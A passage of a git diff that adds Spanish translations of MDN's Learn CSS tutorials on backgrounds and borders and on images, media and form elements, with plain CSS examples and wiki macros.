+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS </a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/fondos_y_bordes/index.html b/files/es/learn/css/building_blocks/fondos_y_bordes/index.html
new file mode 100644
index 0000000000..0de93e1eb1
--- /dev/null
+++ b/files/es/learn/css/building_blocks/fondos_y_bordes/index.html
@@ -0,0 +1,306 @@
+---
+title: Fondos y bordes
+slug: Learn/CSS/Building_blocks/Fondos_y_bordes
+translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div>
+
+<p>En este artículo, veremos algunas de las cosas creativas que puedes hacer con los fondos y los bordes de CSS. Añadir degradados, imágenes de fondo o redondear esquinas; los fondos y los bordes son la solución para una gran cantidad de cuestiones de estilo en CSS.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a diseñar el fondo y los bordes de las cajas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aplicar_estilo_a_los_fondos_en_CSS">Aplicar estilo a los fondos en CSS</h2>
+
+<p>La propiedad {{cssxref ("background")}} de CSS es una propiedad abreviada de una serie de propiedades de fondo que vamos a ver en este artículo. Si descubres una propiedad de fondo compleja en una hoja de estilo, puede parecer un poco difícil de entender porque pueden estarse pasando muchos valores a la vez.</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
+  url(big-star.png) center no-repeat, rebeccapurple;
+} </code>
+</pre>
+
+<p>Más adelante en este tutorial regresaremos a cómo funcionan las propiedades abreviadas, pero primero echemos un vistazo a las diferentes cosas que puedes hacer con los fondos en CSS, a partir de observar las propiedades de fondo individuales.</p>
+
+<h3 id="Los_colores_de_fondo">Los colores de fondo</h3>
+
+<p>La propiedad {{cssxref ("background-color")}} define el color de fondo de cualquier elemento en CSS. La propiedad admite cualquier <code><a href="/es/docs/Web/CSS/color_value">&lt;color&gt;</a></code> válido. Un color de fondo (<code>background-color</code>) se extiende por debajo del contenido y el relleno del elemento.</p>
+
+<p>En el ejemplo siguiente hemos utilizado varios valores de color para añadir un color de fondo a la caja, a un encabezado y a un elemento {{htmlelement ("span")}}.</p>
+
+<p><strong>Juega un poco con ellos; usa cualquier valor <a href="/es/docs/Web/CSS/color_value">&lt;color&gt;</a> disponible.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}</p>
+
+<h3 id="Las_imágenes_de_fondo">Las imágenes de fondo</h3>
+
+<p>La propiedad {{cssxref ("background-image")}} permite visualizar una imagen de fondo en un elemento. En el ejemplo siguiente hay dos cajas: una tiene una imagen de fondo que es más grande que la caja misma, la otra tiene una imagen pequeña en forma de estrella.</p>
+
+<p>Este ejemplo demuestra dos cosas sobre las imágenes de fondo. De forma predeterminada, la imagen grande no se reduce para ajustarse a la caja, por lo que solo vemos una pequeña esquina de esta, mientras que la imagen pequeña aparece en forma de mosaico hasta llenar la caja. En este caso, la imagen es en realidad una sola estrella.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}</p>
+
+<p><strong>Si especificas un color de fondo además de una imagen de fondo, la imagen se muestra encima del color de fondo. Añade una propiedad <code>background-color</code> al ejemplo anterior y obsérvalo en acción.</strong></p>
+
+<h4 id="Controlar_background-repeat">Controlar background-repeat</h4>
+
+<p>La propiedad {{cssxref ("background-repeat")}} se usa para controlar el comportamiento de tipo mosaico de las imágenes. Los valores disponibles son:</p>
+
+<ul>
+ <li><code>no-repeat</code>: evita que el fondo se repita.</li>
+ <li><code>repeat-x</code>: repite horizontalmente.</li>
+ <li><code>repeat-y</code>: repite verticalmente.</li>
+ <li><code>repeat</code>: es el valor por defecto; repite en ambas direcciones.</li>
+</ul>
+
+<p><strong>Prueba estos valores en el ejemplo siguiente. Hemos establecido el valor <code>no-repeat</code>, así que solo verás una estrella. Prueba los diferentes valores (<code>repeat-x</code> y <code>repeat-y</code>) y observa cuáles son los efectos.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}</p>
+
+<h4 id="Dimensionar_la_imagen_de_fondo">Dimensionar la imagen de fondo</h4>
+
+<p>En el ejemplo anterior hay una imagen grande que aparece recortada porque es más grande que el fondo. En este caso, podríamos usar la propiedad {{cssxref ("background-size")}}, que puede tomar valores de <a href="/es/docs/Web/CSS/length">longitud</a> o <a href="/es/docs/Web/CSS/porcentaje">porcentaje</a>, para ajustar el tamaño de la imagen para que quepa dentro del fondo.</p>
+
+<p>También puedes utilizar palabras clave:</p>
+
+<ul>
+ <li><code>cover</code>: el navegador agrandará la imagen lo suficientemente grande como para que esta cubra por completo el área de la caja sin que pierda su relación de aspecto. En este caso, es probable que parte de la imagen quede fuera de la caja.</li>
+ <li><code>contain</code>: el navegador adecuará el tamaño de la imagen para que quepa dentro de la caja. En este caso, pueden quedar huecos a ambos lados o en la parte superior e inferior de la imagen si la relación de aspecto de la imagen es diferente de la de la caja.</li>
+</ul>
+
+<p>En el ejemplo siguiente hemos usado la imagen más grande del ejemplo anterior y unidades de longitud para establecer sus dimensiones dentro de la caja. Puedes ver que esto ha distorsionado la imagen.</p>
+
+<p>Prueba lo siguiente:</p>
+
+<ul>
+ <li>Cambia las unidades de longitud que has utilizado para modificar el tamaño del fondo.</li>
+ <li>Elimina las unidades de longitud y observa qué sucede cuando usas <code>background-size: cover</code> o <code>background-size: contain</code>.</li>
+ <li>Si tu imagen es más pequeña que la caja, puedes cambiar el valor <code>background-repeat</code> para que la imagen se repita.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}</p>
+
+<h4 id="Posicionar_la_imagen_de_fondo">Posicionar la imagen de fondo</h4>
+
+<p>La propiedad {{cssxref ("background-position")}} te permite elegir la posición en la que aparece la imagen de fondo dentro de la caja a la que está asociada. Para ello se utiliza un sistema de coordenadas en el que la esquina superior izquierda de la caja es <code>(0,0)</code>, y la caja se coloca sobre los ejes horizontal (<code>x</code>) y vertical (<code>y</code>).</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El valor predeterminado de <code>background-position</code> es <code>(0,0)</code>.</p>
+</div>
+
+<p>Los valores de <code>background-position</code> más comunes toman dos valores independientes: un valor horizontal seguido de un valor vertical.</p>
+
+<p>Puedes usar palabras clave como <code>top</code> y <code>right</code> (busca todas las demás en la página sobre la propiedad {{cssxref ("background-position")}}):</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top center;
+} </code>
+</pre>
+
+<p>Y también <a href="/es/docs/Web/CSS/length">longitudes</a> y <a href="/es/docs/Web/CSS/porcentaje">porcentajes</a>:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: 20px 10%;
+} </code>
+</pre>
+
+<p>También puedes mezclar valores de palabras clave con longitudes o porcentajes, por ejemplo:</p>
+
+<pre class="brush: css notranslate">.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px;
+}</pre>
+
+<p>Por último, también puedes usar una sintaxis de 4 valores para indicar una distancia desde ciertos bordes del cuadro: la unidad de longitud en este caso es un desplazamiento del valor que la precede. Entonces, en el CSS siguiente, colocamos el fondo a 20 px desde la parte superior y a 10 px desde la derecha:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px right 10px;
+} </code></pre>
+
+<p><strong>Utiliza el ejemplo siguiente para jugar con estos valores y mover la estrella por la caja.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <code>background-position</code> es una propiedad abreviada de {{cssxref("background-position-x")}} y {{cssxref("background-position-y")}}, que te permiten configurar los diferentes valores de posición del eje por separado.</p>
+</div>
+
+<h3 id="Degradados_de_fondo">Degradados de fondo</h3>
+
+<p>Un degradado, cuando se usa para un fondo, actúa como una imagen y también se establece usando la propiedad {{cssxref("background-image")}}.</p>
+
+<p>Puedes leer más sobre los diferentes tipos de degradados y sobre qué puedes hacer con ellos en la página sobre el tipo de datos <code><a href="/en-US/docs/Web/CSS/gradient">&lt;gradient&gt;</a></code> de MDN. Una forma divertida de jugar con degradados es usar uno de los muchos generadores de degradados CSS que hay disponibles en la web, <a href="https://cssgradient.io/">como este</a>. Puedes crear un degradado y luego copiar y pegar el código fuente que lo genera.</p>
+
+<p>Prueba algunos degradados diferentes en el ejemplo siguiente. En las dos cajas hay, respectivamente, un degradado lineal que se extiende por toda la caja, y un degradado radial con un tamaño establecido, que por lo tanto se repite.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}</p>
+
+<h3 id="Múltiples_imágenes_de_fondo">Múltiples imágenes de fondo</h3>
+
+<p>También es posible poner múltiples imágenes de fondo: puedes especificar múltiples valores <code>background-image</code> para un solo atributo, separados cada uno por una coma.</p>
+
+<p>Si haces esto, las imágenes de fondo pueden quedar superpuestas entre sí. Los fondos se superponen con la última imagen de fondo que hay en la parte inferior de la lista, y cada imagen anterior se apila encima de la que sigue en el código.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los degradados se pueden mezclar con imágenes de fondo normales.</p>
+</div>
+
+<p>Las otras propiedades <code>background-*</code> también pueden tener valores múltiples separados por comas, de la misma manera que <code>background-image</code>:</p>
+
+<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
+background-repeat: no-repeat, repeat-x, repeat;
+background-position: 10px 20px,  top right;</pre>
+
+<p>Cada valor de las diversas propiedades coincide con los valores que están en la misma posición en las otras propiedades. Arriba, por ejemplo, el valor para la propiedad <code>background-repeat</code> de <code>image1</code> será <code>no-repeat</code>. Sin embargo, ¿qué sucede cuando diferentes propiedades tienen una cantidad diferente de valores? La respuesta es que los valores que ocupan las posiciones más pequeñas se alternan cíclicamente: en el ejemplo anterior hay cuatro imágenes de fondo pero solo dos valores <code>background-position</code>. Los primeros dos valores de posición se aplicarán a las dos primeras imágenes, luego los valores volverán a asignarse cíclicamente: a <code>image3</code> se le dará el primer valor de posición, y a <code>image4</code> se le dará el segundo valor de posición.</p>
+
+<p><strong>Vamos a jugar. En el ejemplo siguiente hemos incluido dos imágenes. Para demostrar el orden de superposición, cambia la imagen de fondo que aparece primero en la lista. O juega con las otras propiedades para cambiar la posición, el tamaño o repite los valores.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}</p>
+
+<h3 id="Anclaje_del_fondo">Anclaje del fondo</h3>
+
+<p>Otra opción que hay disponible para fondos es especificar cómo se desplazan cuando se desplaza el contenido. Esto se controla con la propiedad {{cssxref ("background-attachment")}}, que puede tomar los valores siguientes:</p>
+
+<ul>
+ <li><code>scroll</code>: Hace que el fondo del elemento se desplace cuando te desplazas por el contenido de la página. Si te desplazas por el contenido del elemento, el fondo no se mueve. El efecto resultante es que el fondo está anclado a la página en una posición fija, por lo que se desplaza a medida que la página se desplaza.</li>
+ <li><code>fixed</code>: Hace que el fondo de un elemento quede fijo con respecto a la ventana gráfica, de modo que no se desplace cuando te desplazas por la página o el contenido del elemento. Siempre permanece en la misma posición de la pantalla.</li>
+ <li><code>local</code>: Este valor se añadió posteriormente (solo es compatible con Internet Explorer 9+, mientras que los otros son compatibles con IE4+) porque el valor <code>scroll</code> es bastante confuso y en muchos casos no hace lo que deseas. El valor <code>local</code> ancla el fondo al elemento en el que está configurado, de modo que cuando te desplazas por el contenido del elemento, el fondo se desplaza con este.</li>
+</ul>
+
+<p>La propiedad {{cssxref ("background-attachment")}} solo tiene efecto cuando hay contenido por el que puedas desplazarte, por lo que hemos preparado un ejemplo para demostrar las diferencias entre los tres valores: echa un vistazo a <a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a> (También puedes consultar el <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">código fuente</a> aquí).</p>
+
+<h3 id="Usar_la_propiedad_abreviada_para_el_fondo">Usar la propiedad abreviada para el fondo</h3>
+
+<p>Como mencionamos al comienzo de este artículo, a menudo verás fondos que están especificados usando la propiedad {{cssxref ("background")}}. Esta forma abreviada te permite configurar todas las diferentes propiedades a la vez.</p>
+
+<p>Si utilizas varios fondos, debes especificar todas las propiedades para el primer fondo y luego añadir el fondo siguiente separado por una coma. En el ejemplo siguiente hay un degradado con un tamaño y una posición, luego un fondo de imagen con <code>no-repeat</code> y una posición y, por último, un color.</p>
+
+<p>Al escribir los valores abreviados de las imágenes de fondo es necesario seguir algunas reglas, por ejemplo:</p>
+
+<ul>
+ <li>Solo es posible especificar un color de fondo (<code>background-color</code>) después de la coma final.</li>
+ <li>El valor para <code>background-size</code> solo puede incluirse inmediatamente después de <code>background-position</code>, separado con el carácter '/', así: <code>center/80%</code>.</li>
+</ul>
+
+<p>Consulta la página para el atributo {{cssxref ("background")}} de MDN para ver todas las posibilidades.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}</p>
+
+<h3 id="Consideraciones_de_accesibilidad_con_los_fondos">Consideraciones de accesibilidad con los fondos</h3>
+
+<p>Al colocar texto sobre una imagen o un color de fondo, debes asegurarte de que tiene suficiente contraste para que tus visitantes puedan leer el texto. Si estableces una imagen de fondo y el texto se coloca encima de la imagen, también debes especificar un color de fondo (<code>background-color</code>) que permita leer el texto si la imagen no se carga.</p>
+
+<p>Los lectores de pantalla no pueden analizar las imágenes de fondo, por lo tanto, deben ser puramente decorativas; cualquier contenido importante debe ser parte de la página HTML y no debe estar contenido en un fondo.</p>
+
+<h2 id="Bordes">Bordes</h2>
+
+<p>Al aprender sobre el modelo de cajas descubrimos cómo los bordes afectan al tamaño de nuestra caja. En este artículo veremos cómo usar los bordes de una manera creativa. Por lo general, cuando a un elemento le añadimos bordes con CSS, usamos una propiedad abreviada que establece el color, el ancho y el estilo del borde en una línea de CSS.</p>
+
+<p>Podemos establecer un borde para los cuatro lados de una caja con {{cssxref ("border")}}:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border: 1px solid black;
+} </code></pre>
+
+<p>O podemos establecer solo un borde de la caja, por ejemplo:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border-top: 1px solid black;
+} </code></pre>
+
+<p>Cada una de las propiedades de estas propiedades abreviadas sería:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border-width: 1px;
+  border-style: solid;
+  border-color: black;
+} </code></pre>
+
+<p>Y las no abreviadas:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border-top-width: 1px;
+  border-top-style: solid;
+  border-top-color: black;
+} </code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Estas propiedades para el borde superior, derecho, inferior e izquierdo también tienen propiedades <em>lógicas</em> asignadas que se relacionan con el modo de escritura del documento (por ejemplo, texto de izquierda a derecha o de derecha a izquierda, o de arriba a abajo). Exploraremos esto en la próxima lección, que expone el <a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">uso de diferentes direcciones de texto</a>.</p>
+</div>
+
+<p><strong>Hay una variedad de estilos que puedes usar para los bordes. En el ejemplo siguiente, hemos utilizado un estilo de borde diferente para los cuatro lados de la caja. Juega con el estilo, el ancho y el color del borde para ver cómo funcionan los bordes.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}</p>
+
+<h3 id="Esquinas_redondeadas">Esquinas redondeadas</h3>
+
+<p>El redondeo de esquinas en una caja se logra mediante el uso de la propiedad {{cssxref ("border-radius")}} y otras propiedades asociadas que se relacionan con cada esquina de la caja. Como valor pueden usarse dos longitudes o porcentajes: el primer valor define el radio horizontal y el segundo el radio vertical. En muchos casos, solo se pondrá un valor, que se utilizará para ambos.</p>
+
+<p>Por ejemplo, para hacer que las cuatro esquinas de una caja tengan un radio de 10 píxeles:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border-radius: 10px;
+} </code></pre>
+
+<p>O para hacer que la esquina superior derecha tenga un radio horizontal de 1 em y un radio vertical del 10%:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  border-top-right-radius: 1em 10%;
+} </code></pre>
+
+<p>En el ejemplo siguiente hemos establecido las cuatro esquinas, y luego cambiamos los valores de la esquina superior derecha para que sea diferente. Juega con los valores para cambiar las esquinas. Echa un vistazo a la página de la propiedad {{cssxref ("border-radius")}} para ver las opciones de sintaxis disponibles.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}</p>
+
+<h2 id="Pon_a_prueba_tus_habilidades">Pon a prueba tus habilidades</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más relevante? Encontrarás más pruebas para verificar que retienes la información antes de seguir adelante en<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders"> Test your skills: Backgrounds and Borders</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo hemos expuesto bastantes conceptos y puedes ver que hay mucho para añadir a un fondo o a un borde de una caja. Explora las diferentes páginas de propiedades si deseas obtener más información sobre cualquiera de las características que hemos discutido. Todas las páginas de MDN contienen más ejemplos de uso, para que juegues y mejores tus conocimientos.</p>
+
+<p>En el próximo artículo descubriremos cómo interacciona el modo de escritura de tu documento con tu CSS. ¿Qué sucede cuando el texto no fluye de izquierda a derecha?</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/imágenes_medios_y_elementos_de_formulario/index.html b/files/es/learn/css/building_blocks/imágenes_medios_y_elementos_de_formulario/index.html
new file mode 100644
index 0000000000..db0f522728
--- /dev/null
+++ b/files/es/learn/css/building_blocks/imágenes_medios_y_elementos_de_formulario/index.html
@@ -0,0 +1,193 @@
+---
+title: 'Imágenes, medios y elementos de formulario'
+slug: Learn/CSS/Building_blocks/Imágenes_medios_y_elementos_de_formulario
+translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div>
+
+<p>En este artículo vamos a ver cómo se tratan ciertos elementos especiales en CSS. Las imágenes y otros medios y los elementos de formulario presentan un comportamiento algo distinto que otros elementos CSS, como las cajas, en cuanto a aplicación de estilo. Comprender qué es y qué no es posible te ahorrará frustraciones, y en este artículo vamos a destacar algunas de las cuestiones principales que necesitas saber.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender el modo en que algunos elementos se comportan de manera inusual cuando se diseñan con CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Elementos_de_reemplazo">Elementos de reemplazo</h2>
+
+<p>Las imágenes y los vídeos se describen como <strong><a href="/es/docs/Web/CSS/Elemento_reemplazo">elementos de reemplazo</a></strong>. Esto significa que el CSS no puede intervenir en aspectos del diseño interno de estos elementos, sino solo a su posición en la página y algunos otros aspectos. Sin embargo, como veremos, hay varias cosas que el CSS puede hacer con una imagen.</p>
+
+<p>También se describen ciertos elementos de reemplazo que, como las imágenes y vídeos, presentan una <strong>relación de aspecto</strong>. Esto significa que tienen un tamaño definido tanto en la dimensión horizontal (x) como en la vertical (y), y por defecto se mostrarán con las dimensiones intrínsecas del archivo.</p>
+
+<h2 id="El_tamaño_de_las_imágenes">El tamaño de las imágenes</h2>
+
+<p>Como ya conoces de estos artículos, todo en CSS genera una caja. Si colocas una imagen dentro de una caja que es más pequeña o más grande que las dimensiones intrínsecas del archivo de imagen en cualquier dirección, aparecerá más pequeño que la caja o se desbordará. Debes decidir qué hacer con el desbordamiento.</p>
+
+<p>En el ejemplo siguiente hay dos cajas, ambas de 200 píxeles de tamaño:</p>
+
+<ul>
+ <li>Una contiene una imagen que es más pequeña de 200 píxeles: es más pequeña que la caja y no se expande para rellenarla.</li>
+ <li>La otra es más grande de 200 píxeles y desborda la caja.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}</p>
+
+<p>¿Qué podemos hacer con el problema del desbordado?</p>
+
+<p>Como aprendimos en <a href="/es/docs/Learn/CSS/Building_blocks/Dimensionar_elementos_en_CSS">nuestro artículo anterior</a>, una técnica común es hacer que el la propiedad {{cssxref ("max-width")}} de una imagen sea 100%. Esto permite que la imagen tenga un tamaño menor que la caja, pero no que tenga un tamaño mayor. Esta técnica funciona con otros elementos de reemplazo, como <code><a href="/es/docs/Web/HTML/Elemento/video">&lt;video&gt;</a></code> o <code><a href="/es/docs/Web/HTML/Elemento/iframe">&lt;iframe&gt;</a></code>.</p>
+
+<p><strong>Añade <code>max-width: 100%</code> al elemento <code>&lt;img&gt;</code> del ejemplo anterior. Verás que la imagen más pequeña permanece sin cambios, pero la más grande se reduce hasta caber en la caja.</strong></p>
+
+<p>Puedes tomar otras decisiones sobre las imágenes dentro de los contenedores. Por ejemplo, es posible que desees cambiar el tamaño de una imagen para que cubra una caja por completo.</p>
+
+<p>La propiedad {{cssxref ("object-fit")}} puede ser de gran ayuda. Cuando se usa <code>object-fit</code>, el elemento de reemplazo puede dimensionarse para adaptarse a una caja de varias maneras.</p>
+
+<p>A continuación, hemos utilizado el valor <code>cover</code>, que reduce el tamaño de la imagen a la vez que mantiene la relación de aspecto hasta que rellena toda la caja. Al mantenerse la relación de aspecto, la caja corta algunas partes de la imagen.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p>
+
+<p>Si usamos el valor <code>contain</code>, la imagen se reduce hasta que es lo bastante pequeña para caber dentro de la caja. Esto puede dar lugar a un formato panorámico si la imagen no presenta la misma relación de aspecto que la caja.</p>
+
+<p>También puedes probar el valor <code>fill</code>, que rellena la caja, pero no mantiene la relación de aspecto.</p>
+
+<h2 id="Elementos_de_reemplazo_en_una_compaginación">Elementos de reemplazo en una compaginación</h2>
+
+<p>A medida que vayas usando diversas técnicas de diseño CSS en elementos de reemplazo, irás descubriendo que se comportan de manera ligeramente diferente a otros elementos. Por ejemplo, en un diseño flexible o en un diseño de página de cuadrícula, los elementos se expanden por defecto hasta que llenan toda el área. En cambio, las imágenes no se expanden, sino que se alinean con el inicio del área de la cuadrícula o del contenedor flexible.</p>
+
+<p>Puedes ver esto en el ejemplo siguiente, en que hay un contenedor de con dos columnas y dos filas, que tiene cuatro elementos. Todos los elementos <code>&lt;div&gt;</code> tienen un color de fondo y se estiran para llenar la fila y la columna. La imagen, sin embargo, no se expande.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p>
+
+<p>Si sigues estos artículos en orden, no habrás llegado todavía a la compaginación. Ten en cuenta solo que cuando los elementos de reemplazo forman parte de una cuadrícula o un diseño flexible, presentan comportamientos predeterminados diferentes, en esencia para evitar que el diseño los expanda de manera extraña.</p>
+
+<p>Para forzar que la imagen se expanda para llenar la celda de la cuadrícula en la que se encuentra, tendrías que hacer algo como lo siguiente:</p>
+
+<pre class="brush: css">img {
+  width: 100%;
+  height: 100%;
+}</pre>
+
+<p>Sin embargo, esto deformaría la imagen, por lo que probablemente no es lo que querrías hacer.</p>
+
+<h2 id="Los_elementos_de_formulario">Los elementos de formulario</h2>
+
+<p>Los elementos de formulario pueden ser un problema si queremos diseñar con CSS, y el <a href="/es/docs/Learn/HTML/Forms">artículo sobre formularios web</a> contiene guías detalladas sobre los aspectos más complicados relativos a este tema, que no vamos a repetir en este artículo. Hay algunos conceptos básicos clave que vale la pena destacar en esta sección.</p>
+
